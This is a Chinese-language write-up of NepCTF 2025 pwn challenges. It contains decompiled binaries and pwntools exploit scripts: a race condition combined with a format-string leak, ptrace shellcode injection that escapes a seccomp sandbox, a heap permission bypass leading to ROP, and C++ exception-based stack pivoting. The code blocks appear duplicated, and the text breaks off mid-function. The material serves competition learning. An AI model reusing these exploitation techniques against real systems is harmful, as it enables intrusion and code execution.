-
-
[原创]Nepctf2025 pwn部分wp
-
发表于: 2025-7-29 19:32 3890
-
今年的nep和往年比可以说很简单,但对我来说还是有挑战的 QwQ
之前的半个月我对二进制安全有点摆烂,但是nep一下把我的状态打满了 :)
本次的成绩为4/5,差一道webpwn

向全局变量出入一个100字节的name,然后列出根目录下的文件
检查输入的文件名,如果是flag就要重新输入(注意此时flag被输入了filename)
然后开启一个子线程运行work函数
先计算filename的md5,然后如果文件存在,就把文件读入内存,并打印name
很明显这里存在着非栈上格式化字符串漏洞,通过%p/%x可以将读入内存的文件内容dump出来
现在我们需要的是打开flag文件,可是input_filename有过滤
线程与进程关系
进程(Process) 是资源的集合(有自己独立的内存空间、文件描述符、栈等)
线程(Thread) 是进程中的一个执行流(共享内存、文件描述符,但有自己栈、寄存器等)。
线程是"轻量级"的进程,多个线程共享一个进程的大部分资源。
线程竞争
线程竞争(race condition)是指多个线程同时访问共享资源,并试图对其进行读写操作时,由于访问时序不确定,导致程序执行结果不一致或错误的现象
通常产生于
本题中,work线程和main进程同时访问了filename,分别为读入与打开
同时由于work进行了一次md5计算,打开时刻会靠后

我们只需要在输入一个一个文件名后立马输入第二个文件名flag就有可能实现在open前替换filename为flag
然后通过格式化字符串将flag打印
解码flag
程序逻辑很简单
先fork,子进程进入死循环,父进程执行沙箱后任意代码执行
其中沙箱
只允许父进程进行ptrace调用
常见的请求宏
我们使用的gdb就是依赖于ptrace调用,我们在gdb中可以对被调试的进程进行内存写入,内存查看,寄存器修改等等操作,几乎可以控制子进程的所有行为
回到题目,我们看到子进程在fork后立马进入了while(1),并没有开启沙箱,所以思路很简单:父进程附加到子进程上,将shellcode注入子进程,后修改子进程的RIP修改为0xDEADC0DE000,最后脱离子进程,子进程便开始执行父进程注入的shellcode
我们可以从栈上获得子进程的进程号,然后attach上去,注意attach需要相对比较长的时间
通常情况下可以使用wait调用等到附加成功,但本题只能调用ptrace,我们可以写一个loop强行等待到attach成功
然后就是常规的将shellcode写入子进程,最后PTRACE_DETACH脱离子进程
自定义的菜单题,实现了一个可以以usr和master身份管理一个记事本的系统
其中init中实现了对内容堆块的申请,初始化,并为每个堆块标记了权限
其中operate_chunk的结构为
chunk[0]被标记为0x10,chunk[1~9]为3,其余为2
在usr操作中,可以进行的子操作有usr_write和usr_read
其中检查函数
对usr_read无检查,usr_write会通过&操作检查权限是否符合3&1=1/2&1=0
所以usr_read只能写chunk[1~9]
然后根据操作字符串,映射对应的操作码
将造作字符串转化为对应的操作码
manager_operation中提供了两类操作,分别是manager_write/read与manager_write_usr/manager_read_usr
check复用了usr中的check,仍然是对read操作无检查
对manager_write进行了堆块权限的检查
对manager_operate_usr是根据进行的最后一次usr操作的chunk确定,还会额外调用checkvisit进行检查
要求进行操作的堆块进行的最后一次usr操作的操作码不能是4(正常来说,必须是能在usr态编辑的chunk才能保证操作码不为4)
由于这个系统对read的检查不够严格,我们可以随便read,其中最特殊的chunk便是chunk[0],拥有最特殊的权限0x10,

chunk[0]中也包含着堆地址与PIE偏移
我们先把exp.py的自定义函数写好
先是manager_read(0),获得两个地址

在manager_write_usr中,操作的堆地址便是从*((void* )(chunk[0])+1)中获得
如果我们可以控制chunk[0],便可以对任意地址进行单次0xff大小的写入
但是想要操作chunk[0],使用usr_write或manager_write是不行的,因为会有严格的权限检查
使用manager_write_usr,虽然不会进行权限检查,但是要求被操作的堆块在usr态被标记了非read操作
但是我们又无法使用usr_write为chunk[0]打上write操作码1
check检查最大的问题就是,完全没有考虑以usr态输入manager相关操作字符串会怎么样?
首先是可以通过check检查,因为如果以usr态进入且操作字符串不为usr_write就会返回1
在permission_confirm中,并不会检查身份,即使以usr身份进行manager操作,也会返回合法的操作码
也就是如果我们以usr身份对chunk[0]进行manager操作,不光不会报错,还可以为chunk[0]添加一个非4的操作码,这样我们就可以用manager_write_usr操作chunk[0]了
然后我们可以对任意地址进行写,但是我们只有一次机会,因为把chunk[0]修改后便无法再次直接使用manager_write_usr操作chunk[0]
我们无法使用manager_write操作chunk[0]是因为chunk[0]的权限太特殊了,是0x10
如果我们把chunk[0]的权限修改为0xf,那么manager_write便可以直接操作chunk[0]:配合manager_write_usr可以实现任意地址写;配合manager_read可以实现任意地址读
对got表进行读,获得libc_base,从而获得environ地址
对environ进行读,获得stack地址
对manager_operat的返回地址进行写,通过ROP进行getshell
实际操作中,不知道为什么远程的got表中地址和本地不一致,无法计算libc,转而使用IO指针,才得到libc_base
依旧菜单题
init中把flag读入bss中,并开启沙箱,白名单留下open,read,write
IDA的反编译没有把异常处理部分展示出
menu处的异常处理为
visit与leave的异常处理部分
其中visit用于创造堆块,编辑堆块,但是create把输入大小与malloc分为两个单独的步骤
且size会检查整形溢出,edit不会检查下标
在leave中,允许我们将一个chunk的内容复制到leave的栈中,并通过size检测是否栈溢出并抛出异常
c++ 异常处理在抛出(throw)异常后,执行两个主要步骤:
在 C++ 异常处理中,通过返回地址逆向查找异常处理器:
也就是说,触发异常时根据返回地址确定异常抛出于哪个try代码块中,并查看处理器是否能处理此处异常
当我们在leave中栈溢出覆盖返回地址,但不改变返回地址,我们就可以调用leave相关异常处理函数
leave相关异常处理函数会提供给我们一个libc地址
同时我们覆盖rbp,也可以实现栈迁移,由于leave中
中的exception为栈上变量,由rbp确定位置,我们还可以通过覆盖rbp为bss地址,在bss上写入0x4031D7("stack overflow"的地址)
回到visit的edit部分,根据chunk_list进行负向溢出,可以写bss上存在的一个指针,同时要求对应的size_list必须存在
但是size_list为int数组;chunk_list为指针数组,二者单个元素的大小不同
如果我们能直接修改bss上的stdout指针,便可以在调用menu时触发IO将flag打印出来
但是我发现当chunk_list+idx==stdout时,size_list[idx]为0,且如果我们提前通过栈迁移将0x4031D7写入此时的size_list[idx],程序会因为栈过低在某一步抛出异常
既然没法修改stdout,我就先在bss上寻找一开始残留的可用地址
我发现
6b:0358│ 0x405358 (std::cin+216) —▸ 0x4052d0 (std::cin+80) ◂— 0
中存放了一个更低地址的指针,如果我们写这个指针,能反过来覆盖0x405358中的内容,再次编辑便可以实现任意地址写,恰好我们得到了libc_base,那直接修改IO结构体便可以leak_flag
我尝试栈迁移将0x4031D7写入对应的size_list[idx]中,发现不会触发上次的问题
栈迁移到bss+获得libc_base
此时我们编辑-70,便可以将_IO_2_1stdout_写入0x405210

成功写入
再次编辑-70堆块,便是编辑IO结构体
此时main循环会回到menu,在menu中触发IO流,打印出flag

unsigned __int64 input_my_name(){ char *argv[5]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); puts("please input your name:"); __isoc99_scanf("%100s", name); puts("I will tell you all file names in the current directory!"); argv[0] = "/bin/ls"; argv[1] = "/"; argv[2] = "-al"; argv[3] = 0LL; if ( !fork() ) execve("/bin/ls", argv, 0LL); wait(0LL); puts("good luck :-)"); return v2 - __readfsqword(0x28u);}unsigned __int64 input_my_name(){ char *argv[5]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); puts("please input your name:"); __isoc99_scanf("%100s", name); puts("I will tell you all file names in the current directory!"); argv[0] = "/bin/ls"; argv[1] = "/"; argv[2] = "-al"; argv[3] = 0LL; if ( !fork() ) execve("/bin/ls", argv, 0LL); wait(0LL); puts("good luck :-)"); return v2 - __readfsqword(0x28u);}__int64 input_filename(){ puts("input file name you want to read:"); __isoc99_scanf("%s", file); if ( !strstr(file, "flag") ) return 1LL; puts("flag is not allowed!"); return 0LL;}__int64 input_filename(){ puts("input file name you want to read:"); __isoc99_scanf("%s", file); if ( !strstr(file, "flag") ) return 1LL; puts("flag is not allowed!"); return 0LL;}unsigned __int64 __fastcall work(void *a1){ unsigned int v1; // eax int i; // [rsp+4h] [rbp-46Ch] int j; // [rsp+8h] [rbp-468h] int fd; // [rsp+Ch] [rbp-464h] char v6[96]; // [rsp+10h] [rbp-460h] BYREF char v7[16]; // [rsp+70h] [rbp-400h] BYREF char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF unsigned __int64 v9; // [rsp+468h] [rbp-8h] v9 = __readfsqword(0x28u); md5_1_(v6); v1 = strlen(file); md5_2_(v6, file, v1); md5_3_(v6, v7); puts("I will tell you last file name content in md5:"); for ( i = 0; i <= 15; ++i ) printf("%02X", (unsigned __int8)v7[i]); putchar(10); for ( j = 0; j <= 999; ++j ) buf[j] = 0; fd = open(file, 0); if ( fd >= 0 ) { read(fd, buf, 0x3E8uLL); close(fd); printf("hello "); printf(name); puts(" ,your file read done!"); } else { puts("file not found!"); } return v9 - __readfsqword(0x28u);}unsigned __int64 __fastcall work(void *a1){ unsigned int v1; // eax int i; // [rsp+4h] [rbp-46Ch] int j; // [rsp+8h] [rbp-468h] int fd; // [rsp+Ch] [rbp-464h] char v6[96]; // [rsp+10h] [rbp-460h] BYREF char v7[16]; // [rsp+70h] [rbp-400h] BYREF char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF unsigned __int64 v9; // [rsp+468h] [rbp-8h] v9 = __readfsqword(0x28u); md5_1_(v6); v1 = strlen(file); md5_2_(v6, file, v1); md5_3_(v6, v7); puts("I will tell you last file name content in md5:"); for ( i = 0; i <= 15; ++i ) printf("%02X", (unsigned __int8)v7[i]); putchar(10); for ( j = 0; j <= 999; ++j ) buf[j] = 0; fd = open(file, 0); if ( fd >= 0 ) { read(fd, buf, 0x3E8uLL); close(fd); printf("hello "); printf(name); puts(" ,your file read done!"); } else { puts("file not found!"); } return v9 - __readfsqword(0x28u);}from pwn import *#io=process('./pwn')context.log_level='debug'io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")def bug(): gdb.attach(io)name=f"%{12+9}$p".encode()for i in range(0x10): name+=f"-%{13+9+i}$p".encode()io.sendlineafter(b"please input your name:\n",name)file=b"time"io.sendlineafter(b"input file name you want to read:\n",file)io.sendlineafter(b"input file name you want to read:\n",b"flag")io.interactive()from pwn import *#io=process('./pwn')context.log_level='debug'io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")def bug(): gdb.attach(io)name=f"%{12+9}$p".encode()for i in range(0x10): name+=f"-%{13+9+i}$p".encode()io.sendlineafter(b"please input your name:\n",name)file=b"time"io.sendlineafter(b"input file name you want to read:\n",file)io.sendlineafter(b"input file name you want to read:\n",b"flag")io.interactive()def hex_to_string(hex_list): result = b"" for val in hex_list: num = int(val, 16) # 计算需要多少字节表示这个数 byte_len = (num.bit_length() + 7) // 8 # 转换为字节串(小端) b = num.to_bytes(byte_len, byteorder='little') result += b return result.decode(errors='replace') # errors='replace' 防止乱码崩溃hex_data = [ "0x2bc422698ba00f71", "0x627b46544370654e", "0x2d31376661383262", "0x3162372d66323762", "0x382d363633612d64", "0x3632326534363763", "0xa7d353564"]print(hex_to_string(hex_data))#q��i"�+NepCTF{bb28af71-b72f-7b1d-a366-8c764e226d55}def hex_to_string(hex_list): result = b"" for val in hex_list: num = int(val, 16) # 计算需要多少字节表示这个数 byte_len = (num.bit_length() + 7) // 8 # 转换为字节串(小端) b = num.to_bytes(byte_len, byteorder='little') result += b return result.decode(errors='replace') # errors='replace' 防止乱码崩溃hex_data = [ "0x2bc422698ba00f71", "0x627b46544370654e", "0x2d31376661383262", "0x3162372d66323762", "0x382d363633612d64", "0x3632326534363763", "0xa7d353564"]print(hex_to_string(hex_data))#q��i"�+NepCTF{bb28af71-b72f-7b1d-a366-8c764e226d55}int __fastcall main(int argc, const char **argv, const char **envp){ __pid_t pid; // [rsp+4h] [rbp-Ch] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL ) { puts("[+] please input your shellcode: "); pid = fork(); if ( pid < 0 ) { perror("fork"); exit(1); } if ( !pid ) { while ( 1 ) ; } read(0, (void *)0xDEADC0DE000LL, 0x1000uLL); install_seccomp(); MEMORY[0xDEADC0DE000](); return 0; } else { perror("mmap"); return 1; }}int __fastcall main(int argc, const char **argv, const char **envp){ __pid_t pid; // [rsp+4h] [rbp-Ch] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL ) { puts("[+] please input your shellcode: "); pid = fork(); if ( pid < 0 ) { perror("fork"); exit(1); } if ( !pid ) { while ( 1 ) ; } read(0, (void *)0xDEADC0DE000LL, 0x1000uLL); install_seccomp(); MEMORY[0xDEADC0DE000](); return 0; } else { perror("mmap"); return 1; }}line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x06 0x00 0x00 0x00000000 return KILLline CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x06 0x00 0x00 0x00000000 return KILL#include <sys/ptrace.h>long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);#include <sys/ptrace.h>long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);| 参数 | 含义 |
|---|---|
request |
请求类型 |
pid |
被调试进程的 PID |
addr |
地址参数(依赖于请求类型) |
data |
数据参数(依赖于请求类型) |
| 宏名 | 描述 |
|---|---|
PTRACE_TRACEME |
表示自己要被父进程调试(子进程调用) |
PTRACE_PEEKDATA/PTRACE_PEEKUSER |
读取数据或用户区(寄存器) |
PTRACE_POKEDATA/PTRACE_POKEUSER |
写入数据或用户区(寄存器) |
PTRACE_GETREGS/PTRACE_SETREGS |
获取或设置所有通用寄存器(x86、x86_64) |
PTRACE_CONT |
继续执行被暂停的子进程 |
PTRACE_SINGLESTEP |
单步执行 |
PTRACE_ATTACH |
附加到一个正在运行的进程(类似 GDB attach) |
PTRACE_DETACH |
从目标进程分离,目标继续运行 |
PTRACE_SYSCALL |
每次系统调用前暂停目标,常用于 syscall hook |
PTRACE_KILL |
杀死被调试进程 |
PTRACE_SEIZE |
非侵入式 attach,用于新型调试接口 |
PTRACE_INTERRUPT |
中断目标(常用于 SEIZE 模式) |
from pwn import *#io=process('./pwn')io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")context.arch='amd64'context.log_level='debug'def bug(): gdb.attach(io,"b read")io.recvuntil(b"[+] please input your shellcode: ")shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")print("已获得子进程pid")"""orw0xdeadc0de000: 0x010101010101b848 0x672e2fb8485001010xdeadc0de010: 0x043148010166606d 0xf631d231e78948240xdeadc0de020: 0x01ba41050f58026a 0x0301f281410101020xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03"""shellcode+=asm(shellcraft.ptrace(16,"r14"))shellcode+=asm(''' mov rcx,0x500000000loop: sub rcx,1 test rcx,rcx jnz loop ''')print("进程附加成功")shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))#================================================================================================================shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))#================================================================================================================shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))shellcode+=asm("jmp $")io.send(shellcode)io.interactive()from pwn import *#io=process('./pwn')io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")context.arch='amd64'context.log_level='debug'def bug(): gdb.attach(io,"b read")io.recvuntil(b"[+] please input your shellcode: ")shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")print("已获得子进程pid")"""orw0xdeadc0de000: 0x010101010101b848 0x672e2fb8485001010xdeadc0de010: 0x043148010166606d 0xf631d231e78948240xdeadc0de020: 0x01ba41050f58026a 0x0301f281410101020xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03"""shellcode+=asm(shellcraft.ptrace(16,"r14"))shellcode+=asm(''' mov rcx,0x500000000loop: sub rcx,1 test rcx,rcx jnz loop ''')print("进程附加成功")shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))#================================================================================================================shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))#================================================================================================================shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))shellcode+=asm("jmp $")io.send(shellcode)io.interactive()int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-14h] BYREF __int64 v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); initstream(argc, argv, envp); v3 = 0; v4 = init(); while ( 1 ) { puts("Which permission do you want to log in with?(1:manager 1000:user)"); __isoc99_scanf("%d", &v3); puts("What action do you want to take?"); if ( v3 == 1 ) { manager_operation(v4); } else if ( v3 == 1000 ) { user_operation(); } }}int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-14h] BYREF __int64 v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); initstream(argc, argv, envp); v3 = 0; v4 = init(); while ( 1 ) { puts("Which permission do you want to log in with?(1:manager 1000:user)"); __isoc99_scanf("%d", &v3); puts("What action do you want to take?"); if ( v3 == 1 ) { manager_operation(v4); } else if ( v3 == 1000 ) { user_operation(); } }}00000000 usr_chunk struc ; (sizeof=0x18, mappedto_8)00000000 chunk dq ? //堆地址00000008 right dq ? //权限00000010 operat_code dq ? //操作码00000000 usr_chunk struc ; (sizeof=0x18, mappedto_8)00000000 chunk dq ? //堆地址00000008 right dq ? //权限00000010 operat_code dq ? //操作码__int64 init(){ int i; // [rsp+Ch] [rbp-14h] void *v2; // [rsp+10h] [rbp-10h] __int64 v3; // [rsp+18h] [rbp-8h] v2 = malloc(0x2000uLL); chunk_list[0] = (__int64)v2; right_list[0] = 0x10; for ( i = 1; i <= 19; ++i ) //right_mark { chunk_list[2 * i] = (__int64)v2 + 0x100 * i; if ( i > 9 ) right_list[4 * i] = 3; // usr else right_list[4 * i] = 2; // manage } onlyuser = 1000; operat_chunk = (usr_chunk *)malloc(0x18uLL); LODWORD(operat_chunk->operat_code) = 0; operat_chunk->chunk = 0LL; LODWORD(operat_chunk->right) = 0; v3 = chunk_list[0]; *(_DWORD *)chunk_list[0] = 1; *(_QWORD *)(v3 + 0x10) = &onlyuser; *(_QWORD *)(v3 + 8) = malloc(0x18uLL); *(_DWORD *)(*(_QWORD *)(v3 + 8) + 16LL) = 0; **(_QWORD **)(v3 + 8) = 0LL; *(_DWORD *)(*(_QWORD *)(v3 + 8) + 8LL) = 0; return v3;}__int64 init(){ int i; // [rsp+Ch] [rbp-14h] void *v2; // [rsp+10h] [rbp-10h] __int64 v3; // [rsp+18h] [rbp-8h] v2 = malloc(0x2000uLL); chunk_list[0] = (__int64)v2; right_list[0] = 0x10; for ( i = 1; i <= 19; ++i ) //right_mark { chunk_list[2 * i] = (__int64)v2 + 0x100 * i; if ( i > 9 ) right_list[4 * i] = 3; // usr else right_list[4 * i] = 2; // manage } onlyuser = 1000; operat_chunk = (usr_chunk *)malloc(0x18uLL); LODWORD(operat_chunk->operat_code) = 0; operat_chunk->chunk = 0LL; LODWORD(operat_chunk->right) = 0; v3 = chunk_list[0]; *(_DWORD *)chunk_list[0] = 1; *(_QWORD *)(v3 + 0x10) = &onlyuser; *(_QWORD *)(v3 + 8) = malloc(0x18uLL); *(_DWORD *)(*(_QWORD *)(v3 + 8) + 16LL) = 0; **(_QWORD **)(v3 + 8) = 0LL; *(_DWORD *)(*(_QWORD *)(v3 + 8) + 8LL) = 0; return v3;}ssize_t user_operation(){ ssize_t result; // rax signed int v1; // [rsp+Ch] [rbp-24h] BYREF char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); v1 = 0; memset(s, 0, 0x10uLL); puts("user read from logs(USER_read)"); puts("user write to logs(USER_write)"); read(0, s, 0xFuLL); puts("Which storage area do you want to operate on?"); puts("10-19: user can visit"); __isoc99_scanf("%d", &v1); if ( (unsigned int)check(v1, s, 1000) ) { operat_chunk->chunk = chunk_list[2 * v1]; LODWORD(operat_chunk->right) = right_list[4 * v1]; permission_confirm((__int64)operat_chunk, s); if ( LODWORD(operat_chunk->operat_code) == 1 ) { return read(0, (void *)operat_chunk->chunk, 0xFFuLL);// "USER_write" } else { result = LODWORD(operat_chunk->operat_code); if ( (_DWORD)result == 4 ) return write(1, (const void *)operat_chunk->chunk, 0xFFuLL);// "USER_read" } } else { puts("permission denied"); return 0xFFFFFFFFLL; } return result;}ssize_t user_operation(){ ssize_t result; // rax signed int v1; // [rsp+Ch] [rbp-24h] BYREF char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); v1 = 0; memset(s, 0, 0x10uLL); puts("user read from logs(USER_read)"); puts("user write to logs(USER_write)"); read(0, s, 0xFuLL); puts("Which storage area do you want to operate on?"); puts("10-19: user can visit"); __isoc99_scanf("%d", &v1); if ( (unsigned int)check(v1, s, 1000) ) { operat_chunk->chunk = chunk_list[2 * v1]; LODWORD(operat_chunk->right) = right_list[4 * v1]; permission_confirm((__int64)operat_chunk, s); if ( LODWORD(operat_chunk->operat_code) == 1 ) { return read(0, (void *)operat_chunk->chunk, 0xFFuLL);// "USER_write" } else { result = LODWORD(operat_chunk->operat_code); if ( (_DWORD)result == 4 ) return write(1, (const void *)operat_chunk->chunk, 0xFFuLL);// "USER_read" } } else { puts("permission denied"); return 0xFFFFFFFFLL; } return result;}__int64 __fastcall check(unsigned int Id, const char *s, int a3){ __int64 *v5; // [rsp+18h] [rbp-8h] if ( Id >= 20 ) return 0LL; if ( strcmp(s, "MANAGER_visit") && strcmp(s, "MANAGER_read") && strcmp(s, "MANAGER_write") && strcmp(s, "USER_read") && strcmp(s, "USER_write") ) { return 0LL; } v5 = &chunk_list[2 * (int)Id]; if ( a3 == 1000 ) { if ( !strcmp(s, "USER_write") && (v5[1] & 1) == 0 ) return 0LL; } else if ( !strcmp(s, "MANAGER_write") ) { if ( (v5[1] & 2) == 0 ) return 0LL; } else if ( !strcmp(s, "MANAGER_visit") && !operat_chunk->chunk ) { return 0LL; } return 1LL;}__int64 __fastcall check(unsigned int Id, const char *s, int a3){ __int64 *v5; // [rsp+18h] [rbp-8h] if ( Id >= 20 ) return 0LL; if ( strcmp(s, "MANAGER_visit") && strcmp(s, "MANAGER_read") && strcmp(s, "MANAGER_write") && strcmp(s, "USER_read") && strcmp(s, "USER_write") ) { return 0LL; } v5 = &chunk_list[2 * (int)Id]; if ( a3 == 1000 ) { if ( !strcmp(s, "USER_write") && (v5[1] & 1) == 0 ) return 0LL; } else if ( !strcmp(s, "MANAGER_write") ) { if ( (v5[1] & 2) == 0 ) return 0LL; } else if ( !strcmp(s, "MANAGER_visit") && !operat_chunk->chunk ) { return 0LL; } return 1LL;}int __fastcall permission_confirm(__int64 a1, const char *a2){ int result; // eax if ( !strcmp(a2, "MANAGER_visit") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 8; } else if ( !strcmp(a2, "MANAGER_read") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 4; } else if ( !strcmp(a2, "MANAGER_write") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 2; } else if ( !strcmp(a2, "USER_read") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 4; } else { result = strcmp(a2, "USER_write"); if ( !result ) { result = a1; *(_DWORD *)(a1 + 0x10) = 1; } } return result;}int __fastcall permission_confirm(__int64 a1, const char *a2){ int result; // eax if ( !strcmp(a2, "MANAGER_visit") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 8; } else if ( !strcmp(a2, "MANAGER_read") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 4; } else if ( !strcmp(a2, "MANAGER_write") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 2; } else if ( !strcmp(a2, "USER_read") ) { result = a1; *(_DWORD *)(a1 + 0x10) = 4; } else { result = strcmp(a2, "USER_write"); if ( !result ) { result = a1; *(_DWORD *)(a1 + 0x10) = 1; } } return result;}ssize_t __fastcall manager_operation(__int64 a1){ ssize_t result; // rax int v2; // [rsp+18h] [rbp-28h] BYREF signed int Id; // [rsp+1Ch] [rbp-24h] BYREF char s[24]; // [rsp+20h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); v2 = 0; Id = 0; memset(s, 0, 0x10uLL); puts("manager read from logs(MANAGER_read)"); puts("manager write to logs(MANAGER_write)"); puts("visit user(MANAGER_visit)"); read(0, s, 0xFuLL); // "MANAGER_visit" // "MANAGER_read" // "MANAGER_write" puts("Which storage area do you want to operate on?"); puts("1-19: manager can visit"); __isoc99_scanf("%d", &Id); if ( !(unsigned int)check(Id, s, 1) ) { puts("permission denied"); return 0xFFFFFFFFLL; } **(_QWORD **)(a1 + 8) = chunk_list[2 * Id]; *(_DWORD *)(*(_QWORD *)(a1 + 8) + 8LL) = right_list[4 * Id]; permission_confirm(*(_QWORD *)(a1 + 8), s); if ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) == 8 )// "MANAGER_visit" { puts("1: manager visit user to read from user_logs"); puts("2: manager visit user to write to user_logs"); __isoc99_scanf("%d", &v2); if ( !checkvisit(v2) ) { puts("permission denied visit"); return 0xFFFFFFFFLL; } if ( v2 == 1 ) { *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 6; } else if ( v2 == 2 ) { *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 3; } } switch ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) ) { case 6: return write(1, **(const void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "1: manager visit user to read from user_logs" case 3: return read(0, **(void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "2: manager visit user to write to user_logs" case 4: return write(1, **(const void ***)(a1 + 8), 0xFFuLL);// "MANAGER_read" } result = *(unsigned int *)(*(_QWORD *)(a1 + 8) + 0x10LL); if ( (_DWORD)result == 2 ) // "MANAGER_write" return read(0, **(void ***)(a1 + 8), 0xFFuLL); return result;}ssize_t __fastcall manager_operation(__int64 a1){ ssize_t result; // rax int v2; // [rsp+18h] [rbp-28h] BYREF signed int Id; // [rsp+1Ch] [rbp-24h] BYREF char s[24]; // [rsp+20h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); v2 = 0; Id = 0; memset(s, 0, 0x10uLL); puts("manager read from logs(MANAGER_read)"); puts("manager write to logs(MANAGER_write)"); puts("visit user(MANAGER_visit)"); read(0, s, 0xFuLL); // "MANAGER_visit" // "MANAGER_read" // "MANAGER_write" puts("Which storage area do you want to operate on?"); puts("1-19: manager can visit"); __isoc99_scanf("%d", &Id); if ( !(unsigned int)check(Id, s, 1) ) { puts("permission denied"); return 0xFFFFFFFFLL; } **(_QWORD **)(a1 + 8) = chunk_list[2 * Id]; *(_DWORD *)(*(_QWORD 